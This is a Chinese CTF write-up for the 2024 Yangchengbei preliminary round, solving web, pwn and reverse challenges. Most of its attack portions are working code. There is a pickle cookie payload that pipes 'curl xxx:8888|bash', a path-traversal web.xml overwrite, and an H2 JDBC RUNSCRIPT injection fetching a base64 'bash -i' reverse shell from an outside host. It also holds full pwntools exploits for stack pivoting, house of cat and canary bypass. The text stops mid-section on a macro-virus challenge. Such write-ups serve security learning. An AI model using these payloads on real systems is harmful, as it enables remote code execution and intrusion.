2024 羊城杯 初赛 部分题目WP

WEB

lyrics

先是任意文件读取:
Clip_2024-08-27_18-32-24.png
把 app.py 等文件导出到本地搭起服务,发现有
Clip_2024-08-27_18-33-07.png
而读取的内容是 cookie 中的参数,因此可以先生成一个 cookie。
然后更新一下生成的 cookie 就行。
照着逻辑改改代码,这里有点乱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import base64
import hashlib
import hmac
import os
import pickle
from flask import make_response, request

unicode = str
basestring = str

# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg

def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None

def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid

def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True

def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def get_cookie(key, value, default=None, secret=None):
# value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default

def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)

def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
print(value)
# resp = make_response("success")
# resp.set_cookie("user", value, max_age=3600)
return value
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')
if len(value) > 4096:
raise ValueError('Cookie value to long.')

def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

class UserData:
def __init__(self, username):
self.username = username

opcode_f = b"(S'curl xxx:8888|bash'\nios\nsystem\n."

if __name__ == "__main__":
# # 测试pickle
# u = UserData()
# opcode = pickle.dumps(u)
# print(opcode)
# P123 = pickle.loads(opcode)
# print(P123.name)

# 测试加密
secret_code = "EnjoyThePlayTime123456"
# username = '123'
# user = UserData(username)
# res = {"username": user.username}
res = opcode_f
cookie = set_cookie("user", res, secret=secret_code)



# 测试解密
data = get_cookie("user", cookie, secret=secret_code)
print(data)

然后把 Cookie 替换成生成的内容。
Clip_2024-08-27_18-37-21.png

1
!vPSU8ldYMFDrpUsfMlaYxg==?gAWVOQAAAAAAAACMBHVzZXKUQywoUydjdXJsIDExNC41NS42NS41MTo4ODg4fGJhc2gnCmlvcwpzeXN0ZW0KLpSGlC4=

反弹 shell 即可。
Clip_2024-08-27_15-58-27.png

tomcom2

任意文件读取,但是只能读取 xml 文件。先读下./conf/tomcat-users.xml文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.

Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only

The users below are wrapped in a comment and are therefore ignored. If you
wish to configure one or more of these users for use with the manager web
application, do not forget to remove the <!.. ..> that surrounds them. You
will also need to set the passwords to something appropriate.
-->

<user username="admin" password="This_is_my_favorite_passwd" roles="manager-gui"/>

<!--
The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>

账号密码是admin:This_is_my_favorite_passwd,后面是个文件上传页面,只让上传 xml 文件。先传马。
Clip_2024-08-27_16-53-35.png
web.xml 不让读取,传个 web.xml 文件覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
POST /myapp/upload?path=uploads/../WEB-INF HTTP/1.1
Host: 139.155.126.78:34535
Referer: http://139.155.126.78:34535/myapp/upload.html
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7FF7EFEDD9BEB3A3F2D031FFD9D78D2B
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Origin: http://139.155.126.78:34535
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygqmuGuugUM8DHtLk
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Content-Length: 637

------WebKitFormBoundarygqmuGuugUM8DHtLk
Content-Disposition: form-data; name="file"; filename="web.xml"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<display-name>Welcome to Tomcat</display-name>
<description>
Welcome to Tomcat
</description>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.xml</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
</web-app>

------WebKitFormBoundarygqmuGuugUM8DHtLk--

RCE。
Clip_2024-08-27_18-25-08.png

tomtom2_revenge

JDBC-Attack 攻击利用汇总 - 先知社区

上个冰蝎然后把前面的 tomtom2 里面把包下下来发现 lib 里面有h2
Clip_2024-08-28_02-26-58.png

1
CREATE ALIAS EXEC2 AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "aaa";}';CALL EXEC2 ('bash -c {echo,xxxxx}|{base64,-d}|{bash,-i}')

然后在初始化的时候指定 JDBC 的链接:

1
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

然后在META-INF下上传content.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /myapp/upload?path=META-INF/ HTTP/1.1
Host: 139.155.126.78:38611
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYAB5oKEPWu1E7FKM
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=EA004B6AF07D96BEC7BFF6A4EADD3E40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Referer: http://139.155.126.78:38611/myapp/upload.html
Origin: http://139.155.126.78:38611
Content-Length: 2208

------WebKitFormBoundaryYAB5oKEPWu1E7FKM
Content-Disposition: form-data; name="file"; filename="context.xml"
Content-Type: text/xml

<Context>
<Resource name="jdbc/MyDB"
auth="Container"
type="javax.sql.DataSource"
maxTotal="100"
maxIdle="30"
maxWaitMillis="10000"
username="yourUsername"
password="yourPassword"
driverClassName="org.h2.Driver"
url="jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://xxxx:8888/poc.sql'"
factory="org.apache.tomcat.jdbc.pool.DataSourceFactory"/>
</Context>

------WebKitFormBoundaryYAB5oKEPWu1E7FKM--

反弹 shell 即可。

Pwn

pstack



栈迁移
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./pwn"
elf = ELF(banary)
libc = ELF("./libc.so.6")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
def get_sb():
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rud = lambda text: io.recvuntil(text, drop=True)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
url = '139.155.126.78:39011'
local = 0
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
#----------------------------------------------------------------
script = '''
b *0x4006D5\n
c
'''
# debug(script)
pop_rdi = 0x0000000000400773
leave_ret = 0x00000000004006db
pop_rbp = 0x00000000004005b0
vuln = 0x4006C4
bss = elf.bss() + 0xf00
c_read = 0x4006C4
p('bss')
#----------------------------------------------------------------
payload = p64(bss+0x20)*7 + p64(c_read)
s(payload)
payload = p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(pop_rbp) + p64(bss + 0xc0) + p64(c_read) + p64(bss + 0x70) + p64(c_read)
s(payload)
payload = p64(bss)*6 + p64(bss-0x18) + p64(leave_ret)
s(payload)
ru("overflow?\n")
puts = u64(io.recvline()[:-1].ljust(8, b"\x00"))
p('puts')
base = puts - libc.sym['puts']
sys_addr, binsh = get_sb()
p('sys_addr')
p('binsh')
ret = 0x0000000000029139 + base
payload = p64(pop_rdi) + p64(binsh) + p64(sys_addr) + p64(bss + 0x90-8)*4 + p64(leave_ret)
s(payload)

#debug()
ia()

httpd

可以有读文件的操作

然后逆报文:

1
2
3
GET 命令 HTTP/1.0
Host:
Content-Length:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import requests
banary = "./httpd"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
def get_sb():
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rud = lambda text: io.recvuntil(text, drop=True)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
url = '139.155.126.78:35690'
local = 0
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
#----------------------------------------------------------------
script = '''

'''
# gdb.attach(io, script)
#----------------------------------------------------------------
# payload = '''get cat%20/flag>1.txt HTTP/1.0\r
# Host: 172.10.0.1\r
# Content-Length: 1\r'''
# sl(payload)
payload = '''GET /1.txt HTTP/1.0\r
Host: 172.10.0.1\r
Content-Length: 1\r'''
sl(payload)
print(rl())

#debug()
ia()

TravleFraph


有个最短路径,然后是申请的largebin打house of cat
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./pwn"
elf = ELF(banary)
libc = ELF("./libc.so.6")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
def get_sb():
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rud = lambda text: io.recvuntil(text, drop=True)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
url = '139.155.126.78:31375'
local = 0
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
#----------------------------------------------------------------
script = '''

'''
# gdb.attach(io, script)
city = ['guangzhou', 'nanning', 'changsha', 'nanchang', 'fuzhou']
def menu(num):
sla("the distance.\n", str(num))
def add(tst, fw, tw, far, note):
howtogo = ['car', 'train', 'plane']
menu(1)
sla("car/train/plane?\n", howtogo[tst])
sla("the city name\n", city[fw])
sla("the city name\n", city[tw])
sla("How far?\n", str(far))
sa("Note:\n", note)
def show(fw, tw):
menu(3)
sla("the city name\n", city[fw])
sla("the city name\n", city[tw])
def Cal(addr):
menu(5)
sla("the city name\n", city[addr])
def free(fw, tw):
menu(2)
sla("the city name\n", city[fw])
sla("the city name\n", city[tw])
def edit(fw, tw, route, far, note):
menu(4)
sla("the city name\n", city[fw])
sla("the city name\n", city[tw])
sla('change?', str(route))
sla("How far?\n", str(far))
sa("Note:\n", note)
#----------------------------------------------------------------
# to edit and leak heapbase
add(0, 0, 1, 1000, 'aaaa')#0
add(0, 1, 2, 1000, 'aaaa')#1
add(2, 2, 3, 1000, 'aaaa')#2
Cal(3)
free(0, 1)
add(1, 3, 4, 1000, 'aaaa')#3
add(0, 0, 1, 1000, b'a'*7+b'b')#0
show(0, 1)
ru(b'b')
heapbase = uheap() - 0x1470

add(0, 2, 4, 1000, 'aaaa')#away topchunk

free(3, 4)
free(2, 3)
free(1, 2)
free(0, 1)

add(2, 0, 1, 1000, b'a'*(16*(79+2)-1)+b'b')#0
show(0, 1)
ru('b')
base = u64(io.recv(6).ljust(8, b"\x00")) - 0x21ace0
libc.address = base

#largebin attack house of cat
_IO_list_all = libc.sym['_IO_list_all']
pop_rdi = base + 0x2a3e5
pop_rsi = base + 0x2be51
pop_rdx_r12 = base + 0x11f2e7
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
setcontext_61 = libc.sym['setcontext'] + 61
orw_o = libc.sym['open']
orw_r = libc.sym['read']
orw_w = libc.sym['write']
chunk = p64(0) + p64(0x521)
chunk += p32(0) + p32(4) + p32(5000) + p32(0x7fff)
add(2, 1, 2, 1000, b'a'*(16*78) + chunk)#1
chunk = p64(0) + p64(0x21)
chunk += p64(0)*3 + p64(0x21)
print(len(chunk))
add(1, 2, 3, 1000, b'a'*(16*76) + chunk)#2
free(2, 4)#clean
flag_addr = heapbase + 0x4000
rop = flat([
pop_rdi, 3,
pop_rsi, flag_addr,
pop_rdx_r12, 0x50, 0,
orw_r,
pop_rdi, 1,
orw_w
])
add(0, 3, 4, 1000, rop)#3
rop_addr = heapbase + 0x2440
add(0, 1, 4, 1000, 'aaaa')
add(0, 0, 2, 1000, 'aaaa')
chunk2 = heapbase + 0x1ef0
free(2,3)
free(0,4)

payload = flat([
0, 0, 0, 0,
0, 0x531,
base+0x21ace0+0x430, base+0x21ace0+0x430,
chunk2, _IO_list_all-0x20
])
add(0, 0, 4, 1000, payload)
free(1, 4)
content_addr = heapbase + 0x33a0
#house of cat rdx
payload = flat({
0xa0: rop_addr,
0xa8: orw_o,
0x70:0,
0x68: content_addr+0x200,
0x88:0,
0x200:"/flag"
}, filler = b'\x00')
add(2, 1, 3, 1000, payload)
fake_addr = heapbase + 0x2940
fake = p64(0) # _flags = rdi
fake += p64(0)*7
fake += p64(1) + p64(2) # wide_data+0x18 = rcx != 0(FSOP)
fake += p64(content_addr) # backup_base & wide_data->write_ptr = rdx
fake += p64(setcontext_61) # save_end = call_addr
fake = fake.ljust(0x68, b'\x00')
fake += p64(0) # _chain
fake = fake.ljust(0x88, b'\x00')
fake += p64(fake_addr+0x300) # _lock = writable addr
fake = fake.ljust(0xa0, b'\x00')
fake += p64(fake_addr+0x30) # wide_data = rax1_addr
fake = fake.ljust(0xc0, b'\x00')
fake += p64(1) # _mode=1
fake = fake.ljust(0xd8, b'\x00')
fake += p64(_IO_wfile_jumps+0x30) # vtable = _IO_wfile_jumps + 0x10
#这里+0x30是为了在exit时调用overflow,而overflow与_IO_wfile_seekoff距离有0x20
fake += p64(0)*6
fake += p64(fake_addr + 0x40) # rax2_addr
edit(0, 0, 0, 100, fake)

menu(1)
sla("car/train/plane?\n", b'nocar')

p('heapbase')
p('base')
# debug()
ia()

logger


C和C++混合编译的,猜到可能是考察C++异常处理绕过canary
利用数组溢出造成异常,改掉字符串
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./pwn"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
def get_sb():
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rud = lambda text: io.recvuntil(text, drop=True)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
url = '139.155.126.78:33874'
local = 0
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
#----------------------------------------------------------------
script = '''
b *0x40183D\n
c
'''
# gdb.attach(io, script)
src = 0x4040A0
dest = 0x404300
cxa_throw = 0x401BC2
def menu(num):
sla("Your chocie:", str(num))
#----------------------------------------------------------------
for i in range(7):
menu(1)
sla("here: ", b'aaaa')
sla("records? ", b'n')
menu(1)
sla("here: ", b'a'*0x10)
sla("records? ", b'n')
menu(1)
sla("here: ", b'/bin/sh;')
sla("records? ", b'n')
menu(2)
payload = b'a'*0x70 + p64(src) + p64(cxa_throw+1)
sa("plz: ", payload)

#debug()
ia()

Reverse

image.png
加密应该是个 rc4
image.png
image.png
最后异或一下key[1]0x11就行,我们直接爆破5位key
image.png
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import itertools
from tqdm import tqdm

# 初始化 S 数组,使用 RC4 密钥调度算法(KSA)
def initialize(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
return S

# 生成密钥流,使用伪随机生成算法(PRGA)
def generate_key_stream(S, length):
i = j = 0
key_stream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
key_stream.append(S[(S[i] + S[j]) % 256])
return key_stream

# 解密函数,通过 RC4 密钥流与输入数据进行异或运算
def decrypt(data, key):
S = initialize(key)
key_stream = generate_key_stream(S, len(data))
flag = [(data[i] ^ key_stream[i] ^ 17 ^ ord(key[1])) for i in range(len(data))]
if flag == [137, 80, 78, 71]: # 检查是否匹配 PNG 文件头标识符
return key

# 生成所有可能的 5 字符 RC4 密钥
def generate_rc4_key():
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return (''.join(key_tuple) for key_tuple in itertools.product(chars, repeat=5))

# 主程序,尝试每一个密钥进行解密
data = [0x85, 0x43, 0x72, 0x78]
for key in tqdm(generate_rc4_key()):
decrypted_key = decrypt(data, key)
if decrypted_key:
print(f"Found key: {decrypted_key}")
break
#Found key: 0173d

最后运行一下可执行文件,还原出png
flag.png
DASCTF{good_y0u_get_the_ffffflag!}

docCrack

宏病毒,微步沙箱启动,拿到宏代码和释放的temp.exe(或者用olevba)

1
2
pip install oletools
olevba ./protected_secret.docm --decode

image.png
image.png
image.png
看看宏代码关键的几处
